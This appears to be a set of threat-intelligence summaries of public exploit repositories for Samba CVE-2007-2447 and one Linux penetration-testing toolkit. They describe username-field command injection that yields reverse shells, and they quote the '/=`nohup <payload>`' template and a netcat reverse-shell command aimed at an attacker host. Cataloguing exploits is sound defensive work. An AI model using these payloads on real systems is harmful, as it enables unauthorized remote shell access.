Samba MS-RPC username map script command injection

This repository is a small standalone Python proof-of-concept exploit for CVE-2007-2447 affecting Samba smbd, with two files: a brief README and one executable script, smb3.0.20_exp.py. The script uses argparse for CLI handling and pysmb's SMBConnection class to connect to a target SMB server over TCP/445. Its core capability is remote command execution by abusing the Samba 'username map script' command injection flaw: it generates a reverse shell payload locally with msfvenom using the cmd/unix/reverse_netcat payload, evaluates the generated Python-formatted payload to recover the shell command bytes, decodes them, and embeds the result into a malicious SMB username string formatted as /=`nohup <payload>`. It then attempts an SMB connection with that crafted username and a dummy password, relying on vulnerable server-side processing to execute the injected command. Successful exploitation should yield a reverse shell callback to the attacker-supplied LHOST and LPORT. The exploit is operational rather than just demonstrative because it automates payload generation and delivery, but it is not highly weaponized since it depends on local msfvenom availability and uses a basic hardcoded reverse netcat payload path. No external C2 or hardcoded remote infrastructure is present beyond user-supplied target and callback values; the main fingerprintable network target is SMB on port 445, and the README includes example IPs and port 4444 for demonstration.

Small standalone Python exploit repository for Samba CVE-2007-2447. The repo contains one executable script (exploit.py), a README with usage guidance, and a minimal .gitignore. The exploit uses argparse to accept a target host (rhost), attacker callback host (lhost), reverse-shell port, and SMB share name. It builds a malicious SMB username containing backtick command substitution and invokes smbclient against //<rhost>/<share> with the crafted username via os.system. The injected command is a Python one-liner reverse shell that connects back to the attacker over TCP, duplicates file descriptors to the socket, and spawns /bin/sh. This is a real exploit rather than a detector: its purpose is remote command execution against vulnerable Samba servers where 'username map script' is enabled. No framework is used, no persistence or post-exploitation modules are included, and customization is limited to target/callback/share/port parameters.

Repository contains a single Python exploit script and a short README. - Files: - README.md: Basic usage instructions (run netcat listener, then run the exploit with -t/-lh/-lp). - smb3.0.20_exp.py: Python3 exploit for CVE-2007-2447 (Samba username map script command execution). - Purpose/flow: 1) The script generates a reverse-shell payload by invoking msfvenom (cmd/unix/reverse_netcat) and parsing the produced Python-formatted output to obtain a byte string variable named 'buf'. 2) It decodes the payload to a string and embeds it into a crafted SMB username: "/=`nohup <payload>`". 3) It uses pysmb (SMBConnection) to authenticate/connect to the target SMB service on TCP/445 with NTLMv2 disabled, sending the malicious username to trigger command execution on the Samba server. 4) On success, the target connects back to the attacker at LHOST:LPORT, yielding a reverse shell. - Notable implementation details: - Requires local msfvenom; payload is not hardcoded. - Uses Python exec() on msfvenom output to extract 'buf' (works as a quick-and-dirty parser, but is inherently unsafe if the msfvenom output were tampered with). - No scanning/detection logic; it is an exploitation script intended to obtain RCE/reverse shell.

This repository is a proof-of-concept exploit for CVE-2007-2447, a historical remote command execution vulnerability in Samba's 'usermap script' feature. The main script, 'usermap_script_Command_Execution.py', is a Python script that leverages the pysmb library to connect to a target Samba server. The exploit works by injecting a specially crafted username containing a shell command payload, which is executed by the vulnerable Samba server before authentication. The payload establishes a reverse shell from the target to the attacker's machine using netcat and a named pipe. The repository includes a README with detailed usage instructions and a requirements.txt specifying the pysmb dependency. The exploit is intended for research and educational purposes and should only be used in controlled environments.

This repository is a standalone Rust implementation of an exploit for CVE-2007-2447, a command injection vulnerability in Samba (versions 3.0.0 through 3.0.25rc3, tested on 3.0.20-Debian). The exploit is implemented in 'src/main.rs' and uses the 'clap' crate for command-line argument parsing. The exploit works by generating a netcat-based reverse shell payload, injecting it into the SMB username field using shell metacharacters, and sending a crafted SMB Session Setup request to the target's port 445. If the target is vulnerable and has netcat installed, this results in a reverse shell connection back to the attacker's machine. The repository contains a README with detailed usage instructions, prerequisites, and an explanation of the vulnerability. The exploit is operational, providing a working reverse shell payload, but is not part of a larger exploitation framework. The main fingerprintable endpoints are the SMB port 445 on the target, and the use of '/tmp/f' and '/bin/sh' on the target system as part of the payload.

This repository contains a Python exploit script (new_exploit.py) targeting CVE-2007-2447, a command injection vulnerability in Samba (versions 3.0.0 to 3.0.24) on Linux. The exploit abuses improper sanitization of the username field in SMB authentication to inject a payload that spawns a reverse shell using netcat. The attacker is prompted for the target's IP and port (default 139), as well as their own IP and listening port. The script then crafts a malicious username that executes a shell command on the target, connecting back to the attacker's netcat listener. The repository also includes a README.md describing the vulnerability and a reminder text file (remeber.txt) instructing the user to set up a netcat listener. The exploit is operational, providing a working reverse shell if the target is vulnerable and accessible.

This repository contains a Python exploit for CVE-2007-2447, targeting Samba smbd 3.0.20-Debian. The exploit (smb3.0.20.py) generates a reverse shell payload using msfvenom (cmd/unix/reverse_netcat) with attacker-supplied IP and port, then injects this payload into the username field of an SMB connection to the target's port 445. If the target is vulnerable, it will execute the payload and connect back to the attacker's listener, providing a shell. The README provides usage instructions, including required dependencies (pysmb), listener setup, and example command lines. The exploit is operational, requiring the attacker to specify their own parameters and run a netcat listener. No hardcoded endpoints are present; all are user-supplied at runtime.

This repository provides an exploit for Samba smbd 3.0.20 (CVE-2007-2447), which allows remote code execution via a crafted SMB username map script. The repository contains two main exploit files: a Python script (CVE-2007-2447.py) and a C++ implementation (CVE-2007-2447.cpp). Both scripts exploit the vulnerability by sending a specially crafted username to the Samba service, resulting in the execution of a reverse shell payload. The Python script is the primary exploit, automating the process by starting a Netcat listener and sending the payload using the pysmb library. The C++ version uses the system's smbclient utility to achieve the same effect. The payload creates a named pipe on the target, connects back to the attacker's machine, and spawns a shell. The repository includes a README with setup and usage instructions, a requirements file for Python dependencies, and an MIT license. The exploit targets network-accessible Samba servers running the vulnerable version and provides the attacker with a remote shell if successful.

This repository contains an exploit for CVE-2007-2447, a vulnerability in Samba's usermap script feature. The exploit is implemented in Python (usermap_script.py) and leverages the pysmb library to connect to a target SMB service. The script crafts a malicious username that injects a shell command via the usermap script vulnerability, causing the target to execute a reverse shell payload. The payload uses netcat to connect back to the attacker's machine, providing a shell. The repository consists of a README.md with usage instructions and a single exploit script. The exploit requires the attacker to specify the target host and port, as well as the attacker's own host and port for the reverse shell listener. The main attack vector is network-based, targeting the SMB service (typically on TCP port 139). The exploit is operational, providing a working reverse shell if the target is vulnerable and accessible.

This repository contains a Python exploit script (exploit.py) targeting CVE-2007-2447, a Samba usermap script command injection vulnerability. The exploit works by connecting to the target's SMB service and injecting a payload via the username field, which results in the execution of a reverse shell command (`nc -e /bin/sh <lhost> <lport>`) on the target. The attacker must set up a netcat listener on their own machine to receive the shell. The repository includes a README.md with usage instructions and requirements (Python 3.7+, pysmb library). The exploit is operational, providing a working reverse shell if the target is vulnerable and accessible. No hardcoded IPs or domains are present; all endpoints are user-supplied at runtime.

This repository contains a Python exploit (smbExploit.py) for CVE-2007-2447, a remote command execution vulnerability in Samba versions 3.0.20 to 3.0.25rc3. The exploit leverages the 'username map script' feature by injecting a user-supplied shell command into the SMB username field, which is then executed on the target system. The script requires the target's IP address, an optional port (default 139), and a payload command (such as a reverse shell). The exploit uses the pysmb library to establish an SMB connection and send the malicious username. The README provides usage instructions and references. The repository is straightforward, with one code file and a README, and is operational as it allows arbitrary command execution on vulnerable targets.

This repository is a comprehensive exploit toolkit targeting multiple well-known vulnerabilities and misconfigurations in Linux-based services, primarily for educational or penetration testing purposes. It contains step-by-step walkthroughs, Metasploit module usage, and some custom scripts (notably a PHP backdoor) for exploiting services such as vsftpd 2.3.4 (CVE-2011-2523), Samba (CVE-2007-2447), distccd (CVE-2004-2687), PHP-CGI (CVE-2012-1823), UnrealIRCd (CVE-2010-2075), as well as misconfigurations in NFS, PostgreSQL, MySQL, and privilege escalation via udev. The structure is organized by target service, with each directory containing detailed attack instructions, relevant commands, and in some cases, exploit code or payloads. The main capabilities include remote code execution, reverse shell access, privilege escalation, database extraction, and persistent access via SSH key injection. The repository is operational in maturity, providing working attack chains and payloads, and is suitable for use in penetration testing labs such as Metasploitable. No fake or detection-only scripts were identified; all content is focused on exploitation.